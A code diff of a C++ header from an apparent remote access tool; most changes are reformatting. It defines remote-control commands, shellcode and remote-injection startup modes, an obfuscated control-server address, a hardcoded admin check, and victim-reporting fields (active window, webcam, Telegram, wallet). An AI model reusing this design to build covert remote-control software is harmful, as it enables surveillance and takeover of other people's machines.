COMMAND_INJECT, + COMMAND_INJECT, - TOKEN_MACHINE_PROCESS, - TOKEN_MACHINE_WINDOWS, - TOKEN_MACHINE_NETSTATE, - TOKEN_MACHINE_SOFTWARE, - TOKEN_MACHINE_HTML, - TOKEN_MACHINE_FAVORITES, - TOKEN_MACHINE_WIN32SERVICE, - TOKEN_MACHINE_DRIVERSERVICE, - TOKEN_MACHINE_HOSTS, - TOKEN_MACHINE_SERVICE_LIST, - TOKEN_MACHINE_TASKLIST, + TOKEN_MACHINE_PROCESS, + TOKEN_MACHINE_WINDOWS, + TOKEN_MACHINE_NETSTATE, + TOKEN_MACHINE_SOFTWARE, + TOKEN_MACHINE_HTML, + TOKEN_MACHINE_FAVORITES, + TOKEN_MACHINE_WIN32SERVICE, + TOKEN_MACHINE_DRIVERSERVICE, + TOKEN_MACHINE_HOSTS, + TOKEN_MACHINE_SERVICE_LIST, + TOKEN_MACHINE_TASKLIST, - TOKEN_MACHINE_MSG, + TOKEN_MACHINE_MSG, }; struct WINDOWSINFO { - char strTitle[1024]; - DWORD m_poceessid; - DWORD m_hwnd; - bool canlook; - int w; - int h; + char strTitle[1024]; + DWORD m_poceessid; + DWORD m_hwnd; + bool canlook; + int w; + int h; }; // Զ̸̽ enum ChatManager { - COMMAND_NEXT_CHAT, - COMMAND_CHAT_CLOSE, - COMMAND_CHAT_SCREEN_LOCK, - COMMAND_CHAT_SCREEN_UNLOCK, + COMMAND_NEXT_CHAT, + COMMAND_CHAT_CLOSE, + COMMAND_CHAT_SCREEN_LOCK, + COMMAND_CHAT_SCREEN_UNLOCK, }; // ļ enum FileManager { - COMMAND_COMPRESS_FILE_PARAM=220, - COMMAND_FILES_SEARCH_START, - COMMAND_FILES_SEARCH_STOP, - COMMAND_FILE_EXCEPTION, - COMMAND_SEARCH_FILE, - COMMAND_FILE_GETNETHOOD, - COMMAND_FILE_RECENT, - COMMAND_FILE_INFO, - COMMAND_FILE_Encryption, - COMMAND_FILE_Decrypt, - COMMAND_FILE_ENFOCE, - COMMAND_FILE_CopyFile, - COMMAND_FILE_PasteFile, - COMMAND_FILE_zip, - COMMAND_FILE_zip_stop, - COMMAND_FILE_NO_ENFORCE, - COMMAND_FILE_GETINFO, + COMMAND_COMPRESS_FILE_PARAM=220, + COMMAND_FILES_SEARCH_START, + COMMAND_FILES_SEARCH_STOP, + COMMAND_FILE_EXCEPTION, + COMMAND_SEARCH_FILE, + COMMAND_FILE_GETNETHOOD, + COMMAND_FILE_RECENT, + COMMAND_FILE_INFO, + COMMAND_FILE_Encryption, + COMMAND_FILE_Decrypt, + COMMAND_FILE_ENFOCE, + COMMAND_FILE_CopyFile, + COMMAND_FILE_PasteFile, + COMMAND_FILE_zip, + COMMAND_FILE_zip_stop, + COMMAND_FILE_NO_ENFORCE, + COMMAND_FILE_GETINFO, - COMMAND_FILE_SEARCHPLUS_LIST, + COMMAND_FILE_SEARCHPLUS_LIST, - TOKEN_SEARCH_FILE_LIST, - TOKEN_SEARCH_FILE_FINISH, - TOKEN_CFileManagerDlg_DATA_CONTINUE, - TOKEN_COMPRESS_FINISH, - TOKEN_SEARCH_ADD, - TOKEN_SEARCH_END, - TOKEN_FILE_GETNETHOOD, - TOKEN_FILE_RECENT, - TOKEN_FILE_INFO, - TOKEN_FILE_REFRESH, - TOKEN_FILE_ZIPOK, - TOKEN_FILE_GETINFO, + TOKEN_SEARCH_FILE_LIST, + TOKEN_SEARCH_FILE_FINISH, + TOKEN_CFileManagerDlg_DATA_CONTINUE, + TOKEN_COMPRESS_FINISH, + TOKEN_SEARCH_ADD, + TOKEN_SEARCH_END, + TOKEN_FILE_GETNETHOOD, + TOKEN_FILE_RECENT, + TOKEN_FILE_INFO, + TOKEN_FILE_REFRESH, + TOKEN_FILE_ZIPOK, + TOKEN_FILE_GETINFO, - TOKEN_FILE_SEARCHPLUS_LIST, - TOKEN_FILE_SEARCHPLUS_NONTFS, - TOKEN_FILE_SEARCHPLUS_HANDLE, - TOKEN_FILE_SEARCHPLUS_INITUSN, - TOKEN_FILE_SEARCHPLUS_GETUSN, - TOKEN_FILE_SEARCHPLUS_NUMBER, + TOKEN_FILE_SEARCHPLUS_LIST, + TOKEN_FILE_SEARCHPLUS_NONTFS, + TOKEN_FILE_SEARCHPLUS_HANDLE, + TOKEN_FILE_SEARCHPLUS_INITUSN, + TOKEN_FILE_SEARCHPLUS_GETUSN, + TOKEN_FILE_SEARCHPLUS_NUMBER, }; // Զ̻ enum RemoteDraw { - CMD_DRAW_POINT = 0, - CMD_DRAW_END = 1, - CMD_TRANSPORT = 2, - CMD_TOPMOST = 3, - CMD_MOVEWINDOW = 4, - CMD_SET_SIZE = 5, - CMD_DRAW_CLEAR = 6, - CMD_DRAW_TEXT = 7, -}; - -enum -{ - CLIENT_TYPE_DLL = 0, // ͻ˴DLL - CLIENT_TYPE_ONE = 1, // ͻ˴ԵEXE - CLIENT_TYPE_MEMEXE = -1, // ڴEXE - CLIENT_TYPE_MODULE = 2, // DLLⲿ - CLIENT_TYPE_SHELLCODE = 4, // Shellcode - CLIENT_TYPE_MEMDLL = 5, // ڴDLL - CLIENT_TYPE_LINUX = 6, // LINUX ͻ + CMD_DRAW_POINT = 0, + CMD_DRAW_END = 1, + CMD_TRANSPORT = 2, + CMD_TOPMOST = 3, + CMD_MOVEWINDOW = 4, + CMD_SET_SIZE = 5, + CMD_DRAW_CLEAR = 6, + CMD_DRAW_TEXT = 7, }; enum { - SHARE_TYPE_YAMA = 0, // ͬ - SHARE_TYPE_HOLDINGHANDS = 1, // HoldingHands: https://github.com/yuanyuanxiang/HoldingHands - SHARE_TYPE_YAMA_FOREVER = 100, // ÷ + CLIENT_TYPE_DLL = 0, // ͻ˴DLL + CLIENT_TYPE_ONE = 1, // ͻ˴ԵEXE + CLIENT_TYPE_MEMEXE = -1, // ڴEXE + CLIENT_TYPE_MODULE = 2, // DLLⲿ + CLIENT_TYPE_SHELLCODE = 4, // Shellcode + CLIENT_TYPE_MEMDLL = 5, // ڴDLL + CLIENT_TYPE_LINUX = 6, // LINUX ͻ }; -inline const char* GetClientType(int typ) { - switch (typ) - { - case CLIENT_TYPE_DLL: - return "DLL"; - case CLIENT_TYPE_ONE: - return "EXE"; - case CLIENT_TYPE_MEMEXE: - return "MEXE"; - case CLIENT_TYPE_MODULE: - return "DLL"; - case CLIENT_TYPE_SHELLCODE: - return "SC"; - case CLIENT_TYPE_MEMDLL: - return "MDLL"; - case CLIENT_TYPE_LINUX: - return "LNX"; - default: - return "DLL"; - } +enum { + SHARE_TYPE_YAMA = 0, // ͬ + SHARE_TYPE_HOLDINGHANDS = 1, // HoldingHands: https://github.com/yuanyuanxiang/HoldingHands + SHARE_TYPE_YAMA_FOREVER = 100, // ÷ +}; + +inline const char* GetClientType(int typ) +{ + switch (typ) { + case CLIENT_TYPE_DLL: + return "DLL"; + case CLIENT_TYPE_ONE: + return "EXE"; + case CLIENT_TYPE_MEMEXE: + return "MEXE"; + case CLIENT_TYPE_MODULE: + return "DLL"; + case CLIENT_TYPE_SHELLCODE: + return "SC"; + case CLIENT_TYPE_MEMDLL: + return "MDLL"; + case CLIENT_TYPE_LINUX: + return "LNX"; + default: + return "DLL"; + } } -inline int compareDates(const std::string& date1, const std::string& date2) { - static const std::unordered_map monthMap = { - {"Jan", 1}, {"Feb", 2}, {"Mar", 3}, {"Apr", 4}, {"May", 5}, {"Jun", 6}, - {"Jul", 7}, {"Aug", 8}, {"Sep", 9}, {"Oct",10}, {"Nov",11}, {"Dec",12} - }; +inline int compareDates(const std::string& date1, const std::string& date2) +{ + static const std::unordered_map monthMap = { + {"Jan", 1}, {"Feb", 2}, {"Mar", 3}, {"Apr", 4}, {"May", 5}, {"Jun", 6}, + {"Jul", 7}, {"Aug", 8}, {"Sep", 9}, {"Oct",10}, {"Nov",11}, {"Dec",12} + }; - auto parse = [&](const std::string& date) -> std::tuple { - int month = monthMap.at(date.substr(0, 3)); - int day = std::stoi(date.substr(4, 2)); - int year = std::stoi(date.substr(7, 4)); - return { year, month, day }; - }; + auto parse = [&](const std::string& date) -> std::tuple { + int month = monthMap.at(date.substr(0, 3)); + int day = std::stoi(date.substr(4, 2)); + int year = std::stoi(date.substr(7, 4)); + return { year, month, day }; + }; - try { - auto t1 = parse(date1); - auto t2 = parse(date2); - int y1 = std::get<0>(t1), m1 = std::get<1>(t1), d1 = std::get<2>(t1); - int y2 = std::get<0>(t2), m2 = std::get<1>(t2), d2 = std::get<2>(t2); + try { + auto t1 = parse(date1); + auto t2 = parse(date2); + int y1 = std::get<0>(t1), m1 = std::get<1>(t1), d1 = std::get<2>(t1); + int y2 = std::get<0>(t2), m2 = std::get<1>(t2), d2 = std::get<2>(t2); - if (y1 != y2) return y1 < y2 ? -1 : 1; - if (m1 != m2) return m1 < m2 ? -1 : 1; - if (d1 != d2) return d1 < d2 ? -1 : 1; - return 0; - } - catch (const std::exception& e) { - std::cerr << "Date parse error: " << e.what() << std::endl; - return -2; // ֵʾ - } + if (y1 != y2) return y1 < y2 ? -1 : 1; + if (m1 != m2) return m1 < m2 ? -1 : 1; + if (d1 != d2) return d1 < d2 ? -1 : 1; + return 0; + } catch (const std::exception& e) { + std::cerr << "Date parse error: " << e.what() << std::endl; + return -2; // ֵʾ + } } // öֵClientTypeƣֲȫһ£רΪ`TestRun` // ָ`ServerDll`ʽ // `TestRun` ֻڼоĿ enum TestRunType { - Startup_DLL, // DLL - Startup_MEMDLL, // ڴDLL޴ļ - Startup_InjDLL, // Զע DLLעDLL·DLL - Startup_Shellcode, // Shell code ڵǰִshell code - Startup_InjSC, // Զ Shell code עִshell code + Startup_DLL, // DLL + Startup_MEMDLL, // ڴDLL޴ļ + Startup_InjDLL, // Զע DLLעDLL·DLL + Startup_Shellcode, // Shell code ڵǰִshell code + Startup_InjSC, // Զ Shell code עִshell code }; inline int MemoryFind(const char* szBuffer, const char* Key, int iBufferSize, int iKeySize) { - for (int i = 0; i < iBufferSize - iKeySize; ++i) - { - if (0 == memcmp(szBuffer + i, Key, iKeySize)) - { - return i; - } - } - return -1; + for (int i = 0; i < iBufferSize - iKeySize; ++i) { + if (0 == memcmp(szBuffer + i, Key, iKeySize)) { + return i; + } + } + return -1; } enum ProtoType { - PROTO_TCP = 0, // TCP - PROTO_UDP = 1, // UDP - PROTO_HTTP = 2, // HTTP - PROTO_RANDOM = 3, // - PROTO_KCP = 4, // KCP - PROTO_HTTPS = 5, // HTTPS + PROTO_TCP = 0, // TCP + PROTO_UDP = 1, // UDP + PROTO_HTTP = 2, // HTTP + PROTO_RANDOM = 3, // + PROTO_KCP = 4, // KCP + PROTO_HTTPS = 5, // HTTPS }; #define KCP_SESSION_ID 666 enum RunningType { - RUNNING_RANDOM = 0, // - RUNNING_PARALLEL = 1, // + RUNNING_RANDOM = 0, // + RUNNING_PARALLEL = 1, // }; enum ProtocolEncType { - PROTOCOL_SHINE = 0, - PROTOCOL_HELL = 1, + PROTOCOL_SHINE = 0, + PROTOCOL_HELL = 1, }; enum ClientCompressType { - CLIENT_COMPRESS_NONE = 0, - CLIENT_COMPRESS_UPX = 1, - CLIENT_COMPRESS_SC = 2, + CLIENT_COMPRESS_NONE = 0, + CLIENT_COMPRESS_UPX = 1, + CLIENT_COMPRESS_SC = 2, }; #pragma pack(push, 4) // ӵسϢ -typedef struct CONNECT_ADDRESS -{ +typedef struct CONNECT_ADDRESS { public: - char szFlag[32]; // ʶ - char szServerIP[100]; // IP - char szPort[8]; // ض˿ - int iType; // ͻ - bool bEncrypt; // ϢǷ - char szBuildDate[12]; // (汾) - int iMultiOpen; // ִ֧򿪶 - int iStartup; // ʽ - int iHeaderEnc; // ݼ - char protoType; // Э - char runningType; // зʽ - char szReserved[44]; // ռλʹṹռ300ֽ - uint64_t parentHwnd; // ̴ھ - uint64_t superAdmin; // ԱID - char pwdHash[64]; // ϣ + char szFlag[32]; // ʶ + char szServerIP[100]; // IP + char szPort[8]; // ض˿ + int iType; // ͻ + bool bEncrypt; // ϢǷ + char szBuildDate[12]; // (汾) + int iMultiOpen; // ִ֧򿪶 + int iStartup; // ʽ + int iHeaderEnc; // ݼ + char protoType; // Э + char runningType; // зʽ + char szGroupName[24]; // + char szReserved[20]; // ռλʹṹռ300ֽ + uint64_t parentHwnd; // ̴ھ + uint64_t superAdmin; // ԱID + char pwdHash[64]; // ϣ public: - void SetType(int typ) { - iType = typ; - } - const void* Flag() const { - return szFlag; - } - CONNECT_ADDRESS ModifyFlag(const char* flag) const { - CONNECT_ADDRESS copy = *this; - memset(copy.szFlag, 0, sizeof(szFlag)); - memcpy(copy.szFlag, flag, strlen(flag)); - return copy; - } - void SetAdminId(const char* admin) { - char buf[17] = { 0 }; - std::strncpy(buf, admin, 16); - superAdmin = std::strtoull(buf, NULL, 16); - } - int GetHeaderEncType() const { + void SetType(int typ) + { + iType = typ; + } + const void* Flag() const + { + return szFlag; + } + CONNECT_ADDRESS ModifyFlag(const char* flag) const + { + CONNECT_ADDRESS copy = *this; + memset(copy.szFlag, 0, sizeof(szFlag)); + memcpy(copy.szFlag, flag, strlen(flag)); + return copy; + } + void SetAdminId(const char* admin) + { + char buf[17] = { 0 }; + std::strncpy(buf, admin, 16); + superAdmin = std::strtoull(buf, NULL, 16); + } + int GetHeaderEncType() const + { #ifdef _DEBUG - return iHeaderEnc; + return iHeaderEnc; #else - return superAdmin == 7057226198541618915 ? iHeaderEnc : 0; + return superAdmin == 7057226198541618915 ? iHeaderEnc : 0; #endif - } - bool IsVerified() const { - return superAdmin && (superAdmin % 313) == 0; - } - int FlagLen() const { - return strlen(szFlag); - } - const char* ServerIP(){ - if (bEncrypt) { - Decrypt(); - } - return szServerIP; - } - int ServerPort() { - if (bEncrypt) { - Decrypt(); - } - return atoi(szPort); - } - int ClientType()const { - return iType; - } - // return true if modified - bool SetServer(const char* ip, int port, bool e = false) { - if (ip == NULL || strlen(ip) <= 0 || port <= 0) - return false; - bool modified = bEncrypt != e || strcmp(ServerIP(), ip) != 0 || port != ServerPort(); - bEncrypt = e; - strcpy_s(szServerIP, ip); - sprintf_s(szPort, "%d", port); + } + bool IsVerified() const + { + return superAdmin && (superAdmin % 313) == 0; + } + int FlagLen() const + { + return strlen(szFlag); + } + const char* ServerIP() + { + if (bEncrypt) { + Decrypt(); + } + return szServerIP; + } + int ServerPort() + { + if (bEncrypt) { + Decrypt(); + } + return atoi(szPort); + } + int ClientType()const + { + return iType; + } + // return true if modified + bool SetServer(const char* ip, int port, bool e = false) + { + if (ip == NULL || strlen(ip) <= 0 || port <= 0) + return false; + bool modified = bEncrypt != e || strcmp(ServerIP(), ip) != 0 || port != ServerPort(); + bEncrypt = e; + strcpy_s(szServerIP, ip); + sprintf_s(szPort, "%d", port); - return modified; - } - void Encrypt() { - if (!bEncrypt){ - bEncrypt = true; - StreamCipher cipher(0x12345678); - cipher.process((uint8_t*)szServerIP, sizeof(szServerIP)); - cipher.process((uint8_t*)szPort, sizeof(szPort)); - } - } - void Decrypt() { - if (bEncrypt) { - bEncrypt = false; - StreamCipher cipher(0x12345678); - cipher.process((uint8_t*)szServerIP, sizeof(szServerIP)); - cipher.process((uint8_t*)szPort, sizeof(szPort)); - } - } - bool IsValid() { - return strlen(ServerIP()) != 0 && ServerPort() > 0; - } - int Size() const { - return sizeof(CONNECT_ADDRESS); - } + return modified; + } + void Encrypt() + { + if (!bEncrypt) { + bEncrypt = true; + StreamCipher cipher(0x12345678); + cipher.process((uint8_t*)szServerIP, sizeof(szServerIP)); + cipher.process((uint8_t*)szPort, sizeof(szPort)); + } + } + void Decrypt() + { + if (bEncrypt) { + bEncrypt = false; + StreamCipher cipher(0x12345678); + cipher.process((uint8_t*)szServerIP, sizeof(szServerIP)); + cipher.process((uint8_t*)szPort, sizeof(szPort)); + } + } + bool IsValid() + { + return strlen(ServerIP()) != 0 && ServerPort() > 0; + } + int Size() const + { + return sizeof(CONNECT_ADDRESS); + } } CONNECT_ADDRESS ; #pragma pack(pop) #define FOREVER_RUN 2 -// ͻ˳߳Ϣṹ, 5Ա: +// ͻ˳߳Ϣṹ, 5Ա: // ״̬(run)(h)ͨѶͻ(p)߲(user)Ϣ(conn). -struct ThreadInfo -{ - int run; - HANDLE h; - void* p; - void* user; - CONNECT_ADDRESS* conn; - ThreadInfo() : run(1), h(NULL), p(NULL), user(NULL), conn(NULL) { } - void Exit(int wait_sec = 15) { - run = 0; - for (int count = 0; p && count++ < wait_sec; Sleep(1000)); +struct ThreadInfo { + int run; + HANDLE h; + void* p; + void* user; + CONNECT_ADDRESS* conn; + ThreadInfo() : run(1), h(NULL), p(NULL), user(NULL), conn(NULL) { } + void Exit(int wait_sec = 15) + { + run = 0; + for (int count = 0; p && count++ < wait_sec; Sleep(1000)); #ifdef _WIN32 - if (p) TerminateThread(h, 0x20250626); - if (p) CloseHandle(h); + if (p) TerminateThread(h, 0x20250626); + if (p) CloseHandle(h); #endif - p = NULL; - h = NULL; - user = NULL; - conn = NULL; - } + p = NULL; + h = NULL; + user = NULL; + conn = NULL; + } }; struct PluginParam { - char IP[100]; // IP - int Port; // ض˿ - const State *Exit; // ͻ״̬ - const void* User; // CONNECT_ADDRESS* ָ - PluginParam(const char*ip, int port, const State *s, const void* u=0) : Port(port), Exit(s), User(u){ - strcpy_s(IP, ip); - } + char IP[100]; // IP + int Port; // ض˿ + const State *Exit; // ͻ״̬ + const void* User; // CONNECT_ADDRESS* ָ + PluginParam(const char*ip, int port, const State *s, const void* u=0) : Port(port), Exit(s), User(u) + { + strcpy_s(IP, ip); + } }; // ַַָָΪ -inline std::vector StringToVector(const std::string& str, char ch, int reserved = 1) { - // ʹַַָ - std::istringstream stream(str); - std::string item; - std::vector result; +inline std::vector StringToVector(const std::string& str, char ch, int reserved = 1) +{ + // ʹַַָ + std::istringstream stream(str); + std::string item; + std::vector result; - // ֺŷַָ - while (std::getline(stream, item, ch)) { - result.push_back(item); // ַָӵ - } - while (result.size() < reserved) - result.push_back(""); + // ֺŷַָ + while (std::getline(stream, item, ch)) { + result.push_back(item); // ַָӵ + } + while (result.size() < reserved) + result.push_back(""); - return result; + return result; } enum LOGIN_RES { - RES_CLIENT_TYPE = 0, // - RES_SYSTEM_BITS = 1, // ϵͳλ - RES_SYSTEM_CPU = 2, // CPU - RES_SYSTEM_MEM = 3, // ϵͳڴ - RES_FILE_PATH = 4, // ļ· - RES_RESVERD = 5, // ? - RES_INSTALL_TIME = 6, // װʱ - RES_INSTALL_INFO = 7, // װϢ - RES_PROGRAM_BITS = 8, // λ - RES_EXPIRED_DATE = 9, // - RES_CLIENT_LOC = 10, // λ - RES_CLIENT_PUBIP = 11, // ַ - RES_EXE_VERSION = 12, // EXE汾 - RES_MAX, + RES_CLIENT_TYPE = 0, // + RES_SYSTEM_BITS = 1, // ϵͳλ + RES_SYSTEM_CPU = 2, // CPU + RES_SYSTEM_MEM = 3, // ϵͳڴ + RES_FILE_PATH = 4, // ļ· + RES_RESVERD = 5, // ? + RES_INSTALL_TIME = 6, // װʱ + RES_INSTALL_INFO = 7, // װϢ + RES_PROGRAM_BITS = 8, // λ + RES_EXPIRED_DATE = 9, // + RES_CLIENT_LOC = 10, // λ + RES_CLIENT_PUBIP = 11, // ַ + RES_EXE_VERSION = 12, // EXE汾 + RES_MAX, }; // ߺ͵ļϢ @@ -749,197 +765,210 @@ enum LOGIN_RES { // °ͻҲ޷ϰ汾س. // Ϊˣ20241228ύΪṹԤֶΣԱδ֮ʱ֮ // ޸Ĵ˽ṹ壬ټǰijߵд -typedef struct LOGIN_INFOR +typedef struct LOGIN_INFOR { + unsigned char bToken; // 1.½Ϣ + char OsVerInfoEx[156]; // 2.汾Ϣ + unsigned int dwCPUMHz; // 3.CPUƵ + char moduleVersion[24]; // 4.DLLģ汾 + char szPCName[240]; // 5. + char szMasterID[20]; // 5.1 ID + int bWebCamIsExist; // 6.Ƿͷ + unsigned int dwSpeed; // 7. + char szStartTime[20]; // 8.ʱ + char szReserved[512]; // 9.ֶ + + LOGIN_INFOR() + { + memset(this, 0, sizeof(LOGIN_INFOR)); + bToken = TOKEN_LOGIN; + strcpy_s(moduleVersion, DLL_VERSION); + } + LOGIN_INFOR& Speed(unsigned long speed) + { + dwSpeed = speed; + return *this; + } + void AddReserved(const char* v) + { + if (strlen(szReserved)) + strcat_s(szReserved, "|"); + if (strlen(szReserved) + strlen(v) < sizeof(szReserved)) + strcat_s(szReserved, v); + } + void AddReserved(int n) + { + if (strlen(szReserved)) + strcat_s(szReserved, "|"); + char buf[24] = {}; + sprintf_s(buf, "%d", n); + if (strlen(szReserved) + strlen(buf) < sizeof(szReserved)) + strcat_s(szReserved, buf); + } + void AddReserved(double f) + { + if (strlen(szReserved)) + strcat_s(szReserved, "|"); + char buf[24] = {}; + sprintf_s(buf, "%.2f", f); + if (strlen(szReserved) + strlen(buf) < sizeof(szReserved)) + strcat_s(szReserved, buf); + } + std::vector ParseReserved(int n = 1) const + { + return StringToVector(szReserved, '|', n); + } +} LOGIN_INFOR; + +inline uint64_t GetUnixMs() { - unsigned char bToken; // 1.½Ϣ - char OsVerInfoEx[156]; // 2.汾Ϣ - unsigned int dwCPUMHz; // 3.CPUƵ - char moduleVersion[24]; // 4.DLLģ汾 - char szPCName[240]; // 5. - char szMasterID[20]; // 5.1 ID - int bWebCamIsExist; // 6.Ƿͷ - unsigned int dwSpeed; // 7. - char szStartTime[20]; // 8.ʱ - char szReserved[512]; // 9.ֶ - - LOGIN_INFOR(){ - memset(this, 0, sizeof(LOGIN_INFOR)); - bToken = TOKEN_LOGIN; - strcpy_s(moduleVersion, DLL_VERSION); - } - LOGIN_INFOR& Speed(unsigned long speed) { - dwSpeed = speed; - return *this; - } - void AddReserved(const char* v) { - if (strlen(szReserved)) - strcat_s(szReserved, "|"); - if (strlen(szReserved) + strlen(v) < sizeof(szReserved)) - strcat_s(szReserved, v); - } - void AddReserved(int n) { - if (strlen(szReserved)) - strcat_s(szReserved, "|"); - char buf[24] = {}; - sprintf_s(buf, "%d", n); - if (strlen(szReserved) + strlen(buf) < sizeof(szReserved)) - strcat_s(szReserved, buf); - } - void AddReserved(double f) { - if (strlen(szReserved)) - strcat_s(szReserved, "|"); - char buf[24] = {}; - sprintf_s(buf, "%.2f", f); - if (strlen(szReserved) + strlen(buf) < sizeof(szReserved)) - strcat_s(szReserved, buf); - } - std::vector ParseReserved(int n = 1) const { - return StringToVector(szReserved, '|', n); - } -}LOGIN_INFOR; - -inline uint64_t GetUnixMs() { - auto system_ms = std::chrono::time_point_cast( - std::chrono::system_clock::now() - ); - return system_ms.time_since_epoch().count(); + auto system_ms = std::chrono::time_point_cast( + std::chrono::system_clock::now() + ); + return system_ms.time_since_epoch().count(); } // ̶1024ֽ -typedef struct Heartbeat -{ - uint64_t Time; - char ActiveWnd[512]; - int Ping; - int HasSoftware; - char Reserved[496]; +typedef struct Heartbeat { + uint64_t Time; + char ActiveWnd[512]; + int Ping; + int HasSoftware; + char Reserved[496]; - Heartbeat() { - memset(this, 0, sizeof(Heartbeat)); - } - Heartbeat(const std::string& s, int ping = 0) { - Time = GetUnixMs(); - strcpy_s(ActiveWnd, s.c_str()); - Ping = ping; - memset(Reserved, 0, sizeof(Reserved)); - } - int Size() const { - return sizeof(Heartbeat); - } -}Heartbeat; + Heartbeat() + { + memset(this, 0, sizeof(Heartbeat)); + } + Heartbeat(const std::string& s, int ping = 0) + { + Time = GetUnixMs(); + strcpy_s(ActiveWnd, s.c_str()); + Ping = ping; + memset(Reserved, 0, sizeof(Reserved)); + } + int Size() const + { + return sizeof(Heartbeat); + } +} Heartbeat; typedef struct HeartbeatACK { - uint64_t Time; - char Reserved[24]; -}HeartbeatACK; + uint64_t Time; + char Reserved[24]; +} HeartbeatACK; // ̶500ֽ typedef struct MasterSettings { - int ReportInterval; // ϱ - int Is64Bit; // Ƿ64λ - char MasterVersion[12]; // ذ汾 - int DetectSoftware; // - int UsingFRPProxy; // ǷʹFRP - char WalletAddress[472]; // Wallets -}MasterSettings; + int ReportInterval; // ϱ + int Is64Bit; // Ƿ64λ + char MasterVersion[12]; // ذ汾 + int DetectSoftware; // + int UsingFRPProxy; // ǷʹFRP + char WalletAddress[472]; // Wallets +} MasterSettings; // 100ֽ: + С + ÷ʽ + DLL typedef struct DllExecuteInfo { - int RunType; // - int Size; // DLL С - int CallType; // ÷ʽ - char Name[32]; // DLL - char Md5[33]; // DLL MD5 - char Reseverd[23]; -}DllExecuteInfo; + int RunType; // + int Size; // DLL С + int CallType; // ÷ʽ + char Name[32]; // DLL + char Md5[33]; // DLL MD5 + char Reseverd[23]; +} DllExecuteInfo; -enum -{ - SOFTWARE_CAMERA = 0, - SOFTWARE_TELEGRAM, +enum { + SOFTWARE_CAMERA = 0, + SOFTWARE_TELEGRAM, - SHELLCODE = 0, - MEMORYDLL = 1, + SHELLCODE = 0, + MEMORYDLL = 1, - CALLTYPE_DEFAULT = 0, // Ĭϵ÷ʽ: ֻǼDLL,ҪDLLʱִд - CALLTYPE_IOCPTHREAD = 1, // run߳: DWORD (__stdcall *run)(void* lParam) + CALLTYPE_DEFAULT = 0, // Ĭϵ÷ʽ: ֻǼDLL,ҪDLLʱִд + CALLTYPE_IOCPTHREAD = 1, // run߳: DWORD (__stdcall *run)(void* lParam) }; typedef DWORD(__stdcall* PidCallback)(void); -inline const char* EVENTID(PidCallback pid) { - static char buf[64] = { 0 }; - if (buf[0] == 0) { - sprintf_s(buf, "SERVICE [%d] FINISH RUNNING", pid()); - } - return buf; +inline const char* EVENTID(PidCallback pid) +{ + static char buf[64] = { 0 }; + if (buf[0] == 0) { + sprintf_s(buf, "SERVICE [%d] FINISH RUNNING", pid()); + } + return buf; } #define EVENT_FINISHED EVENTID(GetCurrentProcessId) -inline void xor_encrypt_decrypt(unsigned char *data, int len, const std::vector& keys) { - for (char key : keys) { - for (int i = 0; i < len; ++i) { - data[i] ^= key; - } - } +inline void xor_encrypt_decrypt(unsigned char *data, int len, const std::vector& keys) +{ + for (char key : keys) { + for (int i = 0; i < len; ++i) { + data[i] ^= key; + } + } } -inline std::tm ToPekingTime(const time_t* t) { - // ȡǰʱ䣨ָΪգ - std::time_t now = (t == nullptr) ? std::time(nullptr) : *t; +inline std::tm ToPekingTime(const time_t* t) +{ + // ȡǰʱ䣨ָΪգ + std::time_t now = (t == nullptr) ? std::time(nullptr) : *t; - // ̰߳ȫתΪ UTC ʱ - std::tm utc_time{}; + // ̰߳ȫתΪ UTC ʱ + std::tm utc_time{}; #ifdef _WIN32 // Windows ʹ gmtime_s - if (gmtime_s(&utc_time, &now) != 0) { - return { 0, 0, 0, 1, 0, 100 }; // ʧʱ 2000-01-01 00:00:00 - } + if (gmtime_s(&utc_time, &now) != 0) { + return { 0, 0, 0, 1, 0, 100 }; // ʧʱ 2000-01-01 00:00:00 + } #else // Linux / macOS ʹ gmtime_r - if (gmtime_r(&now, &utc_time) == nullptr) { - return { 0, 0, 0, 1, 0, 100 }; - } + if (gmtime_r(&now, &utc_time) == nullptr) { + return { 0, 0, 0, 1, 0, 100 }; + } #endif - // תΪʱ䣨UTC+8 - utc_time.tm_hour += 8; + // תΪʱ䣨UTC+8 + utc_time.tm_hour += 8; - // 淶ʱ䣨죩 - std::mktime(&utc_time); + // 淶ʱ䣨죩 + std::mktime(&utc_time); - return utc_time; + return utc_time; } -inline std::string ToPekingTimeAsString(const time_t* t) { - auto pekingTime = ToPekingTime(t); - char buffer[20]; - std::strftime(buffer, sizeof(buffer), "%Y-%m-%d %H:%M:%S", &pekingTime); - return buffer; +inline std::string ToPekingTimeAsString(const time_t* t) +{ + auto pekingTime = ToPekingTime(t); + char buffer[20]; + std::strftime(buffer, sizeof(buffer), "%Y-%m-%d %H:%M:%S", &pekingTime); + return buffer; } typedef struct Validation { - char From[20]; // ʼ - char To[20]; // - char Admin[100]; // ԱַǰصĹַ - int Port; // Ա˿ڣĬϵǰ˿ڣ - char Checksum[16]; // Ԥֶ - Validation(float days, const char* admin, int port, const char* id="") { - time_t from = time(NULL), to = from + time_t(86400 * days); - memset(this, 0, sizeof(Validation)); - std::string fromStr = ToPekingTimeAsString(&from); - std::string toStr = ToPekingTimeAsString(&to); - strcpy_s(From, fromStr.c_str()); - strcpy_s(To, toStr.c_str()); - strcpy_s(Admin, admin); - Port = port; - if(strlen(id))memcpy(Checksum, id, 16); - } - bool IsValid() const { - std::string now = ToPekingTimeAsString(NULL); - return From <= now && now <= To; - } -}Validation; + char From[20]; // ʼ + char To[20]; // + char Admin[100]; // ԱַǰصĹַ + int Port; // Ա˿ڣĬϵǰ˿ڣ + char Checksum[16]; // Ԥֶ + Validation(float days, const char* admin, int port, const char* id="") + { + time_t from = time(NULL), to = from + time_t(86400 * days); + memset(this, 0, sizeof(Validation)); + std::string fromStr = ToPekingTimeAsString(&from); + std::string toStr = ToPekingTimeAsString(&to); + strcpy_s(From, fromStr.c_str()); + strcpy_s(To, toStr.c_str()); + strcpy_s(Admin, admin); + Port = port; + if(strlen(id))memcpy(Checksum, id, 16); + } + bool IsValid() const + { + std::string now = ToPekingTimeAsString(NULL); + return From <= now && now <= To; + } +} Validation; #ifdef _DEBUG // Ϊ˽ԶĻĺ꣬ʱʹãʽ汾û @@ -952,107 +981,112 @@ typedef struct Validation { #ifdef _WINDOWS #include #else -#define WIN32_LEAN_AND_MEAN +#define WIN32_LEAN_AND_MEAN #include #endif // ڴеλͼдļ -inline bool WriteBitmap(LPBITMAPINFO bmpInfo, const void* bmpData, const std::string& filePrefix, int index = -1) { - char path[_MAX_PATH]; - if (filePrefix.size() >= 4 && filePrefix.substr(filePrefix.size() - 4) == ".bmp") { - strcpy_s(path, filePrefix.c_str()); - } 